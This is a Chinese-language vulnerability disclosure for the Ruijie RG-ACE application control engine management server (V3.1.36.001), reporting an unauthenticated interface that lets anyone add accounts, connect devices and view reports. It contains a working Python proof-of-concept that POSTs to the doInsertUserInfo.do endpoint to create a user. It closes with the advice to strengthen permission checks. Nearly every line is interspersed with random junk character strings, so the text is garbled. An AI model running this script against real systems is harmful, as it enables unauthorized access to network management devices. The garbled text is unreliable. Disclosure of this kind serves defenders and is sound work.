锐捷应用控制引擎管理服务器(RG-ACE系列应用控制引擎管理服务器V3.1.36.001,官网的连接 http://www.ruijie.com.cn/service/down-search.aspx 显示是最新版)可以根据没有权限验证的接口直接增加用户,连接设备,查看设备信息和报表(权限相对于默认的admin比较低)
' \+ S: n, [6 Z, q0 V J
( P. N% A% D+ C/ H3 }7 P6 b( D! }+ A) S7 \) x/ Q+ D( q
测试的具体版本是8 M1 w/ }4 H% {2 ]% k
产品名称: 锐捷应用控制引擎0 s) [" T9 Q4 g+ d
版本号: 3.1.36.001 TC
) T: F( _3 a+ z6 E! {编译时间: 201104291730
3 G- K* @$ s( D6 T Z
9 o3 Y- K. s$ Q2 j
1 m5 m, M# p$ I4 f/ A8 t漏洞证明:
) Q/ E% @1 j0 S& |9 ] 5 L2 O' I1 Z6 x0 X4 \' }1 B) @- c
5 b4 V# z& ?$ q0 M' o; R; w
) ]) z( M/ s" P$ |# ?& v
+ u/ d% d, f6 ]+ G
' M" y( u8 D5 A& c9 T& v* S1 i% v, o! ~. b% M# S8 o8 r" u
执行脚本9 X( v! o. g( F9 S
#! /usr/bin/env python! Q! V5 ^( B5 b& }" L. l, R3 X5 j
#coding=gbk
7 R7 i5 C( N; x$ M2 C#RG-ACE管理服务器 V3.1.36.001
3 w/ s1 {3 s8 Qimport urllib2, urllib,cookielib8 d: h/ }/ q: [/ H
url=r'http://IP/mars/doInsertUserInfo.do' #IP改为装这个软件的IP4 f2 n. r- m% g8 L
opener=urllib2.build_opener(urllib2.HTTPCookieProcessor(cookielib.CookieJar()))
' @& s k: R0 }opener.addheaders = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)')]
5 e5 H" y* F3 @ `# d6 p _post=(("event","userManager.doInsertUserInfo"),2 z- z6 ^/ ^9 U
("useractionname","addButtonValue"),4 J+ X6 S' a* Y l
("useropermanager","userManager"),
. K" M) u( W9 Y% ]# g7 t6 Z("userName","t"), #######账号自己加
( ~) @2 {, n2 b' p("pwd","aaaaaa"),######密码自己加
! Q" |; e% v1 z) |("trueName","ad"),4 Y* \# r# r& o% x
("email",""),
, S( u' M& T# z: h( b. }# O$ J# S("mobilePhone",""),
# y+ Q3 P! O5 w/ O8 H3 s n5 u8 f("officePhone",""),; m4 |8 Y. E- `
("addr",""),; u3 i/ R* i* d
("submit","确定"))
4 ]$ b Z- Q+ _# w# t) a, z2 q( R+ z5 Eurllib2.install_opener(opener)9 M# E8 h6 b* B( E
p=urllib2.urlopen(url, urllib.urlencode(post)).read()
: g4 s+ Z2 J/ ~' c2 Xprint "Done"
7 b5 l: L& s* M8 i
7 y9 n& N5 e7 X- {' d7 r- `4 h! E登录,连接设备: ^) }+ s5 u: f+ u' i
. J# s; X9 Q: x0 ^" U; ~3 [+ @3 i) \; f5 Q; m' g
3 a/ C& r9 L t. l, T5 X* |' i3 u
. x% r% D) D' q, A. J( W' E0 f6 h3 R
默认的管理员admin权限更大点
! m6 \" z# v, x; p1 ^, e" D/ Q; b J0 v( W ?
/ t, Z' R, n* _ b; s5 @
/ V( T# W( C: T( R9 C
; X6 J, o9 B# _ X. D& l3 s2 d$ M4 `; u8 r4 { m
修复方案:2 h% a2 g0 L$ {( J4 q' q$ Z
加强对接口的权限验证
$ [/ J* g- K; q' E) A% E- ?
& g. M/ O- b( c' T4 ~- P+ J" e! N8 K |